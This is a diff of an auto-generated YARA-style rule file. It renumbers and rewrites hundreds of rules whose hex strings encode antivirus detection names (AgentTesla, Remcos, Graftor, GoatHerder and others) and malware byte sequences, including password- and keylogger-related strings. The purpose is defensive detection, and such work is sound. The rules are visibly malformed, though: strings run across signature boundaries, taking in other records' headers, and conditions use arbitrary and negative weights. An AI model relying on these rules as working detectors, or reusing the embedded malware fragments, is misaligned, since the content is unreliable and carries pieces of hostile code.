62 61 73 65 36 34 2f 01 00 0e 01 63 72 79 70 74 6f 2f 63 69 70 68 65 72 2f 01 00 0e 01 6c 6f 61 64 65 72 2f 6c 6f 61 64 65 72 2f 01 00 08 01 73 79 73 63 61 6c 6c 2f 01 00 1a 03 } //385 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28528+(#a_20_2 & 1)*29811+(#a_6f_3 & 1)*30023+(#a_6f_4 & 1)*385) >=5 + +} +rule _InfrastructureShared_10771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -109710,7 +116864,7 @@ rule _InfrastructureShared_10122{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*385+(#a_65_2 & 1)*30305+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_10123{ +rule _InfrastructureShared_10772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -109724,7 +116878,7 @@ rule _InfrastructureShared_10123{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29811+(#a_2f_2 & 1)*29808+(#a_69_3 & 1)*14962+(#a_75_4 & 1)*29810) >=5 } -rule _InfrastructureShared_10124{ +rule _InfrastructureShared_10773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -109739,7 +116893,7 @@ rule _InfrastructureShared_10124{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*27745+(#a_74_2 & 1)*25445+(#a_75_3 & 1)*28483+(#a_46_4 & 1)*28492+(#a_20_5 & 1)*9530) >=5 } -rule _InfrastructureShared_10125{ +rule _InfrastructureShared_10774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -109753,7 +116907,7 @@ rule _InfrastructureShared_10125{ ((#a_4c_0 & 1)*21539+(#a_4e_1 & 1)*15934+(#a_65_3 & 1)*17921+(#a_61_4 & 1)*28524+(#a_68_5 & 1)*29281) >=5 } -rule _InfrastructureShared_10126{ +rule _InfrastructureShared_10775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -109765,7 +116919,7 @@ rule _InfrastructureShared_10126{ ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*2+(#a_01_2 & 1)*2) >=6 } -rule _InfrastructureShared_10127{ +rule _InfrastructureShared_10776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -109780,7 +116934,7 @@ rule _InfrastructureShared_10127{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*17742+(#a_3a_2 & 1)*21840+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=6 } -rule _InfrastructureShared_10128{ +rule _InfrastructureShared_10777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -109795,7 +116949,7 @@ rule _InfrastructureShared_10128{ ((#a_41_0 & 1)*20515+(#a_66_1 & 1)*21249+(#a_01_2 & 1)*2560+(#a_6c_3 & 1)*24948+(#a_00_4 & 1)*13+(#a_6f_5 & 1)*16954) >=6 } -rule _InfrastructureShared_10129{ +rule _InfrastructureShared_10778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -109811,7 +116965,7 @@ rule _InfrastructureShared_10129{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28774+(#a_69_2 & 1)*384+(#a_72_3 & 1)*27748+(#a_47_4 & 1)*-32754+(#a_77_5 & 1)*29250+(#a_00_6 & 1)*25976) >=7 } -rule _InfrastructureShared_10130{ +rule _InfrastructureShared_10779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -109827,7 +116981,7 @@ rule _InfrastructureShared_10130{ ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*26982+(#a_6e_2 & 1)*25183+(#a_74_3 & 1)*21091+(#a_00_4 & 1)*104+(#a_17_5 & 1)*-24060+(#a_00_6 & 1)*28271) >=7 } -rule _InfrastructureShared_10131{ +rule _InfrastructureShared_10780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -109841,7 +116995,7 @@ rule _InfrastructureShared_10131{ ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*25902+(#a_00_2 & 1)*-11679+(#a_90_3 & 1)*5654+(#a_74_4 & 1)*28537) >=13 } -rule _InfrastructureShared_10132{ +rule _InfrastructureShared_10781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -109853,7 +117007,7 @@ rule _InfrastructureShared_10132{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_00_2 & 1)*86) >=14 } -rule _InfrastructureShared_10133{ +rule _InfrastructureShared_10782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -109864,7 +117018,7 @@ rule _InfrastructureShared_10133{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*10790) >=14 } -rule _InfrastructureShared_10134{ +rule _InfrastructureShared_10783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -109875,12 +117029,12 @@ rule _InfrastructureShared_10134{ $a_13_3 = {06 11 08 1f 0f 5f 06 11 08 1f 0f 5f 95 11 09 61 20 90 02 04 58 9e 09 11 04 11 09 d2 9c 09 11 04 17 58 11 09 90 00 0a 00 2f 00 1e 64 d2 9c 09 11 04 18 58 11 09 1f 10 64 d2 9c 09 11 04 19 58 11 09 1f 18 64 d2 9c 11 04 1a 58 13 04 11 08 17 58 13 08 11 08 02 8e 69 32 9e 00 00 78 94 00 00 17 00 } //-27297 $a_00_4 = {21 23 48 53 54 52 } //23 !#HSTR $a_6f_5 = {61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 32 30 34 21 4d 54 42 00 0a 00 15 02 00 07 08 06 08 18 5a 18 6f 90 01 04 1f 10 28 90 01 04 9c 90 00 0a 00 14 02 07 08 06 08 18 5a 18 6f 90 01 04 1f 10 28 90 01 04 9c 90 00 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 06 81 01 54 6f 42 79 74 65 01 00 09 81 01 47 65 74 4f } //21562 - $a_63_6 = {0a 00 05 81 01 4f 30 2e 7a 43 00 00 78 94 00 00 1e 00 1e 00 03 00 21 23 4f 46 4e 3a 72 65 73 74 69 63 2e 65 78 65 00 0a 00 23 80 01 67 69 74 68 75 62 2e 63 6f 6d 2f 72 65 73 74 69 63 2f 72 65 73 74 69 63 2f 63 6d 64 2f 72 65 73 74 69 63 0a 00 19 80 01 67 69 74 68 75 62 2e 63 6f 6d 2f 72 65 73 74 69 63 } //27234 + $a_63_6 = {0a 00 05 81 01 4f 30 2e 7a 43 00 00 78 94 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 4c 4d 21 4d 54 42 00 0f 00 48 03 8a 54 24 43 2a d0 8b 44 24 10 02 d1 30 10 8b 44 24 18 83 c0 05 3b 44 24 24 7e 90 01 01 ff 4c 24 1c 8b 44 24 18 83 c0 05 3b } //27234 condition: ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*5632+(#a_00_2 & 1)*32+(#a_13_3 & 1)*-27297+(#a_00_4 & 1)*23+(#a_6f_5 & 1)*21562+(#a_63_6 & 1)*27234) >=15 } -rule _InfrastructureShared_10135{ +rule _InfrastructureShared_10784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -109891,22 +117045,33 @@ rule _InfrastructureShared_10135{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*5892) >=20 } -rule _InfrastructureShared_10136{ +rule _InfrastructureShared_10785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 32 30 34 21 4d 54 42 00 0a 00 15 02 00 07 08 06 08 18 5a 18 6f 90 01 04 1f 10 28 90 01 04 9c 90 00 0a 00 14 02 07 08 06 08 18 5a 18 6f 90 01 04 1f 10 28 90 01 04 9c } //18467 $a_00_1 = {09 } //144 - $a_75_2 = {73 74 72 69 6e 67 01 00 06 81 01 54 6f 42 79 74 65 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 0a 00 05 81 01 4f 30 2e 7a 43 00 00 78 94 00 00 1e 00 1e 00 03 00 21 23 4f 46 4e 3a 72 65 73 74 69 63 2e 65 78 65 00 0a 00 23 80 01 67 69 74 68 75 62 2e 63 } //385 - $a_72_3 = {73 74 69 63 2f 72 65 73 74 69 63 2f 63 6d 64 2f 72 65 73 74 69 63 0a 00 19 80 01 67 69 74 68 75 62 2e 63 6f 6d 2f 72 65 73 74 69 63 2f 63 68 } //28015 - $a_65_4 = {0a 00 30 80 01 67 69 74 68 75 62 2e 63 6f 6d 2f 61 7a 75 72 65 2f 61 7a 75 72 65 2d 73 64 6b 2d 66 6f 72 2d 67 6f 2f 73 64 6b 2f 61 7a 69 64 65 6e 74 69 74 79 00 00 78 94 00 00 1e 00 1e 00 0b 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 55 6e 72 65 61 73 74 6f 2e 41 00 05 00 0f 01 44 65 76 69 63 65 49 } //28277 - $a_6e_5 = {72 6f 6c 05 00 05 01 ba 08 c0 53 00 05 00 05 01 ba 10 c0 53 00 05 00 05 01 ba 04 c0 53 00 05 00 05 01 ba 14 c0 53 00 05 00 05 01 ba 04 94 2d 00 05 00 05 01 68 08 c0 53 00 05 00 05 01 68 10 c0 53 00 05 00 05 01 68 04 c0 53 00 05 00 05 01 68 14 c0 53 00 05 00 05 01 68 04 94 2d 00 00 00 78 94 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 } //17263 + $a_75_2 = {73 74 72 69 6e 67 01 00 06 81 01 54 6f 42 79 74 65 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 0a 00 05 81 01 4f 30 2e 7a 43 00 00 78 94 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 4c 4d 21 } //385 + $a_00_3 = {0f 00 48 03 8a 54 24 43 2a d0 8b 44 24 10 02 d1 30 10 8b 44 24 18 83 c0 05 3b 44 24 24 7e 90 01 01 ff 4c 24 1c 8b 44 24 18 83 c0 05 3b c7 7c 90 01 01 8b c7 99 2b c2 8b d0 8b 44 24 18 d1 fa 83 c0 05 } //21581 + $a_d0_4 = {44 0a 05 } //-10453 + $a_00_5 = {1a 03 8b cf 2b 4c 24 18 8d 50 } //144 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_75_2 & 1)*385+(#a_72_3 & 1)*28015+(#a_65_4 & 1)*28277+(#a_6e_5 & 1)*17263) >=23 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_75_2 & 1)*385+(#a_00_3 & 1)*21581+(#a_d0_4 & 1)*-10453+(#a_00_5 & 1)*144) >=23 } -rule _InfrastructureShared_10137{ +rule _InfrastructureShared_10786{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 4c 4d 21 4d 54 42 00 0f 00 48 03 8a 54 24 43 2a d0 8b 44 24 10 02 d1 30 10 8b 44 24 18 83 c0 05 3b 44 24 24 7e 90 01 01 ff 4c 24 1c 8b 44 24 18 } //21539 + $a_3b_1 = {7c 90 01 01 8b } //-16253 + condition: + ((#a_4c_0 & 1)*21539+(#a_3b_1 & 1)*-16253) >=25 + +} +rule _InfrastructureShared_10787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -109917,26 +117082,38 @@ rule _InfrastructureShared_10137{ ((#a_4e_0 & 1)*20259+(#a_2f_1 & 1)*26996) >=30 } -rule _InfrastructureShared_10138{ +rule _InfrastructureShared_10788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 0b 00 21 " strings : $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 55 6e 72 65 61 73 74 6f 2e 41 00 05 00 0f 01 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 05 00 05 01 ba 08 c0 53 00 05 00 05 01 ba 10 c0 53 00 05 00 05 01 ba 04 c0 53 00 05 00 05 01 ba } //16675 - $a_00_1 = {05 00 05 01 ba 04 94 2d 00 05 00 05 01 68 08 c0 53 00 05 00 05 01 68 10 c0 53 00 05 00 05 01 68 04 c0 53 00 05 00 05 01 68 14 c0 53 00 05 00 05 01 68 04 94 2d 00 00 00 78 94 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c } //-16364 - $a_49_2 = {2f 47 6f 61 74 48 65 72 64 65 72 2e 41 21 64 68 61 00 64 00 32 01 73 00 68 00 65 00 6c 00 6c 00 20 00 72 00 65 00 73 00 75 00 6c 00 74 00 20 00 69 00 73 00 20 00 63 00 6f 00 72 00 72 00 75 00 70 00 74 00 65 00 64 00 64 00 18 01 5d 00 23 00 53 00 65 } //19770 - $a_00_4 = {6c 00 65 00 74 00 65 00 64 00 0e 01 5d 00 23 00 53 00 6c 00 65 00 65 00 70 00 00 00 78 95 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 74 74 53 6c 69 6e 67 73 68 6f 74 2e 43 72 79 70 74 21 64 68 61 00 01 00 5f 03 0f 1f 00 41 0f b6 44 3b 90 01 01 49 83 c3 90 01 01 } //68 - $a_90_5 = {01 41 88 44 1b 90 01 01 41 0f b6 44 3b 90 01 01 41 32 43 90 01 01 41 88 44 1b 90 01 01 41 0f b6 44 3b 90 01 01 41 32 43 90 01 01 41 88 44 1b 90 01 01 41 0f b6 44 3b 90 01 01 41 32 43 90 01 01 48 ff c9 } //12865 - $a_1b_6 = {00 00 00 78 95 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 53 49 42 21 4d 54 42 00 01 00 5e 02 06 8e 69 8d 90 01 04 13 } //-30655 - $a_16_7 = {90 } //400 - $a_90_8 = {01 90 02 10 11 90 1b 01 11 90 1b 02 06 11 90 1b 02 91 72 90 01 04 11 90 1b 02 72 90 1b 08 28 90 01 04 5d 28 90 01 04 61 d2 9c 90 } //257 - $a_90_9 = {02 17 58 13 90 1b 02 11 90 1b 02 06 8e 69 fe 04 13 } //4098 - $a_11_10 = {1b } //400 + $a_00_1 = {05 00 05 01 ba 04 94 2d 00 05 00 05 01 68 08 c0 53 00 05 00 05 01 68 10 c0 53 00 05 00 05 01 68 04 c0 53 00 05 00 05 01 68 14 c0 53 00 05 00 05 01 68 04 94 2d 00 00 00 78 94 00 00 23 00 23 00 03 00 21 23 54 45 4c 3a 4d 53 49 4c 2f 4d 61 6d 75 74 2e } //-16364 + $a_21_2 = {54 42 00 14 00 32 01 6f 2a 00 00 0a 28 04 00 00 06 00 06 72 eb 04 00 70 28 34 00 00 0a 28 44 00 00 0a 00 00 06 72 19 05 00 70 28 34 00 00 0a 28 43 00 00 0a 16 fe 01 13 06 0a 00 1c 81 01 55 6e 61 62 } //18497 + $a_74_3 = {20 47 65 74 20 50 61 73 73 77 6f 72 64 20 4c 6f 67 65 73 05 00 17 81 01 55 6e 61 62 6c 65 20 74 } //25964 + $a_65_4 = {20 4b 65 79 20 4c 6f 67 65 73 00 00 78 94 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 6f 61 74 48 65 72 64 65 72 2e 41 21 64 68 61 00 64 00 32 01 73 00 68 00 65 } //8303 + $a_00_6 = {65 00 73 00 75 00 6c 00 74 00 20 00 69 00 73 00 20 00 63 00 6f 00 72 00 72 00 75 00 70 00 74 00 65 00 64 00 64 00 18 01 5d 00 23 00 53 00 65 00 6c 00 66 00 44 00 65 00 6c 00 65 00 74 00 65 00 64 00 0e 01 5d 00 23 00 53 00 6c 00 65 00 65 00 70 00 00 00 78 95 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 } //32 + $a_6c_7 = {6e 67 73 68 6f 74 2e 43 72 79 70 74 21 64 68 61 00 01 00 5f 03 0f 1f 00 41 0f b6 44 3b 90 01 01 49 83 c3 90 01 01 41 32 43 90 01 01 41 88 44 1b 90 01 01 41 0f b6 44 3b 90 01 01 41 32 43 90 01 01 41 88 44 1b 90 01 01 41 0f b6 44 3b 90 01 01 41 32 43 } //29812 + $a_41_8 = {44 } //400 D + $a_01_9 = {41 } //-28645 A + $a_3b_10 = {01 01 41 32 43 90 01 01 48 ff c9 41 88 44 1b 90 00 00 00 78 95 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 53 49 42 21 } //-18929 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-16364+(#a_49_2 & 1)*19770+(#a_00_4 & 1)*68+(#a_90_5 & 1)*12865+(#a_1b_6 & 1)*-30655+(#a_16_7 & 1)*400+(#a_90_8 & 1)*257+(#a_90_9 & 1)*4098+(#a_11_10 & 1)*400) >=30 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-16364+(#a_21_2 & 1)*18497+(#a_74_3 & 1)*25964+(#a_65_4 & 1)*8303+(#a_00_6 & 1)*32+(#a_6c_7 & 1)*29812+(#a_41_8 & 1)*400+(#a_01_9 & 1)*-28645+(#a_3b_10 & 1)*-18929) >=30 } -rule _InfrastructureShared_10139{ +rule _InfrastructureShared_10789{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 21 " + + strings : + $a_4c_0 = {4d 53 49 4c 2f 4d 61 6d 75 74 2e 41 48 42 21 4d 54 42 00 14 00 32 01 6f 2a 00 00 0a 28 04 00 00 06 00 06 72 eb 04 00 70 28 34 00 00 0a 28 44 00 00 0a 00 00 06 72 19 05 00 70 28 34 00 00 0a 28 43 00 00 0a 16 } //21539 + $a_06_1 = {0a 00 1c 81 01 55 6e 61 62 6c 65 20 74 6f 20 47 65 74 20 } //510 + $a_73_2 = {6f 72 64 20 4c 6f 67 65 73 05 00 17 81 01 55 6e 61 62 6c 65 20 74 6f 20 47 65 74 20 4b 65 79 20 4c 6f 67 65 73 00 00 78 94 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 6f 61 74 48 65 72 64 65 72 2e 41 21 64 68 61 00 64 00 32 01 73 00 68 00 65 00 6c 00 6c 00 20 00 72 00 65 00 73 00 75 00 6c 00 } //24912 + condition: + ((#a_4c_0 & 1)*21539+(#a_06_1 & 1)*510+(#a_73_2 & 1)*24912) >=35 + +} +rule _InfrastructureShared_10790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -109948,7 +117125,7 @@ rule _InfrastructureShared_10139{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_90_2 & 1)*17590) >=300 } -rule _InfrastructureShared_10140{ +rule _InfrastructureShared_10791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109958,7 +117135,7 @@ rule _InfrastructureShared_10140{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10141{ +rule _InfrastructureShared_10792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109968,7 +117145,7 @@ rule _InfrastructureShared_10141{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10142{ +rule _InfrastructureShared_10793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109978,7 +117155,7 @@ rule _InfrastructureShared_10142{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10143{ +rule _InfrastructureShared_10794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109988,7 +117165,7 @@ rule _InfrastructureShared_10143{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10144{ +rule _InfrastructureShared_10795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109998,7 +117175,7 @@ rule _InfrastructureShared_10144{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10145{ +rule _InfrastructureShared_10796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110008,7 +117185,7 @@ rule _InfrastructureShared_10145{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10146{ +rule _InfrastructureShared_10797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110018,7 +117195,7 @@ rule _InfrastructureShared_10146{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10147{ +rule _InfrastructureShared_10798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110028,7 +117205,7 @@ rule _InfrastructureShared_10147{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10148{ +rule _InfrastructureShared_10799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110038,7 +117215,7 @@ rule _InfrastructureShared_10148{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10149{ +rule _InfrastructureShared_10800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110048,7 +117225,7 @@ rule _InfrastructureShared_10149{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10150{ +rule _InfrastructureShared_10801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110058,7 +117235,7 @@ rule _InfrastructureShared_10150{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10151{ +rule _InfrastructureShared_10802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110068,7 +117245,17 @@ rule _InfrastructureShared_10151{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_10152{ +rule _InfrastructureShared_10803{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 7a 79 2e 47 50 4a 21 4d 54 42 00 01 00 69 03 b9 08 00 00 00 6b d1 00 8b 45 90 01 01 8b 4d 90 01 01 03 4c 10 90 01 01 89 4d 90 01 01 8b 55 90 01 01 8b 45 90 01 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_10804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -110079,7 +117266,7 @@ rule _InfrastructureShared_10152{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*-32456) >=1 } -rule _InfrastructureShared_10153{ +rule _InfrastructureShared_10805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -110091,7 +117278,7 @@ rule _InfrastructureShared_10153{ ((#a_54_0 & 1)*18467+(#a_8c_1 & 1)*18956+(#a_04_2 & 1)*-28568) >=1 } -rule _InfrastructureShared_10154{ +rule _InfrastructureShared_10806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -110103,7 +117290,7 @@ rule _InfrastructureShared_10154{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-18428+(#a_00_2 & 1)*-15872) >=1 } -rule _InfrastructureShared_10155{ +rule _InfrastructureShared_10807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -110116,7 +117303,7 @@ rule _InfrastructureShared_10155{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*23604+(#a_69_2 & 1)*14958+(#a_01_3 & 1)*3420) >=1 } -rule _InfrastructureShared_10156{ +rule _InfrastructureShared_10808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -110127,7 +117314,7 @@ rule _InfrastructureShared_10156{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1) >=2 } -rule _InfrastructureShared_10157{ +rule _InfrastructureShared_10809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -110138,7 +117325,7 @@ rule _InfrastructureShared_10157{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29793) >=2 } -rule _InfrastructureShared_10158{ +rule _InfrastructureShared_10810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -110149,7 +117336,7 @@ rule _InfrastructureShared_10158{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*-31928) >=2 } -rule _InfrastructureShared_10159{ +rule _InfrastructureShared_10811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -110159,7 +117346,7 @@ rule _InfrastructureShared_10159{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10160{ +rule _InfrastructureShared_10812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -110170,7 +117357,7 @@ rule _InfrastructureShared_10160{ ((#a_4c_0 & 1)*21539+(#a_c8_1 & 1)*-8115) >=2 } -rule _InfrastructureShared_10161{ +rule _InfrastructureShared_10813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -110182,7 +117369,7 @@ rule _InfrastructureShared_10161{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*72+(#a_0b_2 & 1)*-8061) >=2 } -rule _InfrastructureShared_10162{ +rule _InfrastructureShared_10814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -110195,21 +117382,35 @@ rule _InfrastructureShared_10162{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*-30207+(#a_32_2 & 1)*13932+(#a_49_3 & 1)*22601) >=2 } -rule _InfrastructureShared_10163{ +rule _InfrastructureShared_10815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " strings : $a_54_0 = {3a 50 6f 73 73 69 62 6c 79 43 6c 65 61 6e 3a 49 6e 66 6f 72 6d 69 78 2e 41 00 01 00 10 01 49 4e 46 4f 52 4d 49 58 43 4f 4e 52 45 54 52 59 01 00 0b 01 49 4e 46 4f 52 4d 49 58 44 49 52 01 00 0e 01 49 4e 46 4f 52 4d 49 58 53 45 52 56 45 52 01 00 10 01 } //18467 - $a_4f_1 = {4d 49 58 53 51 4c 48 4f 53 54 53 01 00 0f 01 49 4e 46 4f 52 4d 49 58 42 52 4f 57 53 45 52 01 00 0d 01 2f 75 73 72 2f 69 6e 66 6f 72 6d 69 78 00 00 78 95 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a } //20041 - $a_2f_2 = {6c 6f 77 53 70 69 72 69 74 21 62 69 74 00 02 00 0e 01 2e 73 70 69 72 69 74 73 6f 66 74 2e 63 6e 01 00 0b 01 6a 6c 67 75 61 6a 69 2e 65 78 65 01 00 4a 01 6d 00 61 00 69 00 6e 00 2e 00 70 00 68 00 } //21840 - $a_00_3 = {69 00 64 00 3d 00 25 00 73 00 26 00 75 00 69 00 64 00 3d 00 25 00 73 00 26 00 74 00 79 00 70 00 65 00 3d 00 25 00 64 00 26 00 63 00 6f 00 64 00 65 00 3d 00 25 00 64 00 00 00 78 95 00 00 03 } //112 - $a_41_5 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 